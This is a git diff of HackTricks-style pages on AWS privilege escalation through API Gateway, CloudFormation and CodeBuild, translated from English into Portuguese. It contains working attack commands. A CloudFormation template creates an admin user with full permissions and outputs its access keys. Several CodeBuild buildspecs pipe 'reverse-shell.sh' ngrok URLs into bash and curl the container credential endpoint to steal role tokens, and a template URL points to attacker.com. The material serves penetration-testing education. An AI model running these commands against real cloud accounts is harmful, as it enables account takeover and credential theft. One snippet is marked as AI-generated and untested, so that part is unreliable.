[Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..0ee49f58f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +Com esta permissão, você pode gerar chaves de API das APIs configuradas (por região). ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +Com esta permissão, você pode obter chaves de API geradas das APIs configuradas (por região). ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar um lambda vulnerável). ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Impacto Potencial:** Você, geralmente, não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Necessita de teste +Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Impacto Potencial**: Acesso a recursos associados ao papel IAM da função Lambda. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` -> [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> [!NOTA] +> Necessita de teste +Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um autorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações de API são feitas. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos da API. ### `apigateway:UpdateVpcLink` -> [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> [!NOTA] +> Necessita de teste +Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Load Balancer de Rede diferente, potencialmente redirecionando o tráfego privado da API para recursos não autorizados ou maliciosos**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Impacto Potencial**: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..735576e8e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Para mais informações sobre cloudformation, consulte: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Um atacante com essas permissões **pode escalar privilégios** criando uma **pilha do CloudFormation** com um template personalizado, hospedado em seu servidor, para **executar ações sob as permissões de um papel especificado:** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +Na página seguinte, você tem um **exemplo de exploração** com a permissão adicional **`cloudformation:DescribeStacks`**: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Impacto Potencial:** Privesc para o papel de serviço cloudformation especificado. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +Neste caso, você pode **abusar de uma pilha cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesmo a permissão `UpdateStack`** sobre uma pilha e realizar o ataque. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Impacto Potencial:** Privesc para o papel de serviço do cloudformation especificado. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Se você tiver essa permissão, mas **sem `iam:PassRole`**, ainda pode **atualizar as pilhas** usadas e abusar dos **Papéis IAM que já estão anexados**. Verifique a seção anterior para um exemplo de exploração (apenas não indique nenhum papel na atualização). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesmo a permissão `UpdateStack`** sobre uma pilha e realizar o ataque. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Impacto Potencial:** Privesc para o papel de serviço do cloudformation já anexado. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack. +A seguinte exploração é uma **variação do**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha. ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesmo permissões de `ChangeSet`** sobre uma pilha e realizar o ataque. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Impacto Potencial:** Privesc para funções de serviço do cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +Isso é como o método anterior sem passar **funções IAM**, então você pode apenas **abusar das já anexadas**, apenas modifique o parâmetro: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Impacto Potencial:** Privesc para o papel de serviço do cloudformation já anexado. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Um atacante poderia abusar dessas permissões para criar/atualizar StackSets para abusar de papéis de cloudformation arbitrários. -**Potential Impact:** Privesc to cloudformation service roles. +**Impacto Potencial:** Privesc para papéis de serviço do cloudformation. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Um atacante poderia abusar dessa permissão sem a permissão passRole para atualizar StackSets e abusar dos papéis de cloudformation anexados. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Impacto Potencial:** Privesc para os papéis de cloudformation anexados. -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..081116f2c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -1,85 +1,75 @@ -# iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks +# iam:PassRole, cloudformation:CreateStack,e cloudformation:DescribeStacks {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Um atacante poderia, por exemplo, usar um **template de cloudformation** que gera **chaves para um usuário admin** como: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Então **gere a pilha do cloudformation**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Aguarde alguns minutos** para que a pilha seja gerada e então **obtenha a saída** da pilha onde as **credenciais estão armazenadas**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - -### References +### Referências - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..62b9949fb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Obtenha mais informações em: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Nota**: A diferença entre esses dois comandos é que: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` aciona um único trabalho de construção usando um `buildspec.yml` específico. +- `StartBuildBatch` permite que você inicie um lote de construções, com configurações mais complexas (como executar várias construções em paralelo). -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc direto para funções AWS Codebuild anexadas. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +Um atacante com as permissões **`iam:PassRole`, `codebuild:CreateProject` e `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** seria capaz de **escalar privilégios para qualquer função IAM do codebuild** criando uma em execução. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Exemplo2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Impacto Potencial:** Privesc direto para qualquer função do AWS Codebuild. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> Em um **container Codebuild**, o arquivo `/codebuild/output/tmp/env.sh` contém todas as variáveis de ambiente necessárias para acessar as **credenciais de metadados**. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Este arquivo contém a **variável de ambiente `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** que contém o **caminho da URL** para acessar as credenciais. Será algo como `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Adicione isso à URL **`http://169.254.170.2/`** e você poderá despejar as credenciais da função. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Além disso, também contém a **variável de ambiente `ECS_CONTAINER_METADATA_URI`** que contém a URL completa para obter **informações de metadados sobre o container**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Assim como na seção anterior, se em vez de criar um projeto de build você puder modificá-lo, você pode indicar a função IAM e roubar o token. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Impacto Potencial:** Privesc direto para qualquer função do AWS Codebuild. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Como na seção anterior, mas **sem a permissão `iam:PassRole`**, você pode abusar dessas permissões para **modificar projetos existentes do Codebuild e acessar a função que já está atribuída a eles**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +Tendo **permissões suficientes para iniciar uma sessão ssm**, é possível **entrar em um projeto Codebuild** que está sendo construído. -The codebuild project will need to have a breakpoint: +O projeto codebuild precisará ter um ponto de interrupção:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entrou na fase pre_build...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +E então: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Para mais informações [**verifique a documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de gravação, pode obter execução de comandos no processo do CodeBuild. +Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell 